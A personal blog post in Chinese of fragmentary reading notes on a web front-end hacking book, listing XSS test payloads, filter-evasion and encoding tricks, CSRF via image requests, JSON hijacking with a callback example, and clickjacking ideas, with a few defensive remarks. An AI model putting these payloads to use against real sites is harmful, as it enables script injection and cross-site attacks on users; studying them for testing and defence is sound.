web前端黑客读后感(仅为博主方便查阅)

仅记录在此,方便自己查阅
<script src=”JavaScript/myjs.js” type=”text/javascript”></script>
如果浏览器支持window.execScript(),则使用此函数,不支持则使用window.eval(),这样就可以解决IE8和IE8以下浏览器的问题。
echo xss
header跳转
https://www.cnblogs.com/binghuo000/p/6406438.html
header(‘Location:’.$url);
data协议:x=data:text/html;base64,IBFfie8WY93%2b(==)
<script>alert(document.domain)</script>
app xss
xeye qq
csrf:
动态生成一个img 对象
<script>
new Image().src=””
</script>
除非设置p3p,不然跨域不带上cookie
html json flash
token 验证码 referer crossdomain.xml json-callback
html:
<link href>
<img src>
<img lowsrc>
<img dynsrc>
<meta http-squiv=”refresh” content=”0; url=”>
<iframe src>
<frame src>
<script src>
<bgsound src>
<embed src>
<vedio src>
<audio src>
<a href>
<table backgroup>
css:
@import “”
backgroud:url(“”)
json hijacking
https://blog.csdn.net/jnu_simba/article/details/43241483
array callback
漏洞描述
???CGI以JSON形式输出数据,黑客控制的第三方站点以CSRF手段强迫用户浏览器请求CGI得到JSON数据,黑客可以获取敏感信息
????
漏洞检测
???使用工具获取json数据。
漏洞修复
???可使用以下任意办法防御JSON Hijacking攻击
1、在请求中添加token(随机字符串)
2、请求referer验证(限制为合法站点,并且不为空)
注意事项
???
在线json防御被外域恶意调用只限制了referer,但是允许空referer访问:
比如本地html,还有某些伪协议远程调用时是没有referer的。从而导致问题持续。所以空referer也是不安全的
<script>
function wooyun_callback(a){
alert(a);
}
</script>
<script src=”http://www.wooyun.org/userdata.php?callback=wooyun_callback”></script>
flash csrf
更加隐蔽 flash比较html p96页
点击 拖放 触屏 劫持
目标的http响应头是否设置x-frame-options
javascript的 frame busting机制
透明层+iframe
透明层使用css属性完成
使用iframe来嵌入被劫持页面
漏洞挖掘:
头部xss cookie dom 反射 存储
测试
‘”>
‘ onmouseover=alert(1) x=’
javascripta:alert(1)//
data:text/html;base64
‘”;alert()//
</><>alert//
}x:expression(alert(1))
alert(1)
*/–>'”></iframe></script></style></title></textarea></xmp></noscript></noframes></plaintext><script>alert(1)</script>
html间
title textarea xmp iframe noscript noframe plaintext
html内
hidden属性触发不了xss
value type
” onmouseover=alert(1) type=”text
href/src/action
javascript:alert()// javascript:alert()- (window.onerror=fumction(){return true;})
data
on事件
style
<a href style=”width:1;xss:expression(if(!window.x){alert(1);window.x=1;})”>click me </a>
属性引号
html不严格 属性值可以不用引号,或者使用单引号双引号,反单引号(仅ie支持)
<script>的闭合机制
</script><script>alert(1)//
“;alert(1)//
alert(1)
html和javascript的自解码过程(html环境和js环境)
进制编码:16进制 &#xH &#D 十进制 最后的分号可以不要
html实体编码
<input type=”button” id=”exec_btn” value=”exec” onclick=”document.write(‘&lt;img src@ onerror=alert(1234) /&gt; ‘)”/>
js自动解码
unicode 16进制 纯转义 无意义防御
具备html编码的标签
title iframe noscript noframes
xmp没有编码功能
plaintext 火弧不会,google有
ie有解析差异,代码不会执行
url编码 p142
dom修正式渲染
p146 dom测试脚本
p150 dom挖掘
flash xss
字符集缺陷导致xss
gbk
针对同域的白名单
<script %00%00>
ghrome 支持data协议 data协议是空白域
浏览器进制常识
html
&# 10
&# 16 多了a-f a-f大小写不敏感
css中
16进制还有\6c
eval中
八进制的\56
16进制的\x5c
p170 进制代码
浏览器编码常识
p176
html中代码注入技巧
1.标签
<<scRIPT>alert(1);//</Script>
注释的优先级较高
bb<!– aa<!–aa–> cc–>bb
<a href=”–><img src=x onerror=alert(1)//”>test</a>
ie <!–[if]><script>alert(1)</script –>
<title><ahref=”</title><img src=x onerror=alert(1)//”>
<style>
<? foo=”><script>alert(1)</script>”>
<!
</
<% foo=”%> ie
2.属性
<img
=x
onerror=
“alert(1)”>
在属性值的头部插入值,是可以被处理的
<a &#8 href=”&#32javascript:alert(1)”>test</a> 3大浏览器
<a &#8 href=”&#32javascript:alert(1)&#27″>test</a> ie和火狐
普通,事件,资源
普通:
引号过滤,实体化 无解
两个特例:
<img src= alt=” onerror=alert(1)//”>
ie6
事件:
p182
资源:
src href
http https ftp
file javascript vbscript mailto data
<iframe src=”javascript:alert(1)”>
<img dynsrc> ie6
<img lowsrc> ie6
<isindex action=javascript:alert(1) type=image>
<input type=”image” src=”javascript:alert(1);”>
onfocus onscroll onreadystatechange
css代码注入技巧:p194
1.资源类
javascript 注入技巧
闭合
css 技巧闭合
有callback的跨域传送
 
2018.9.30

标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注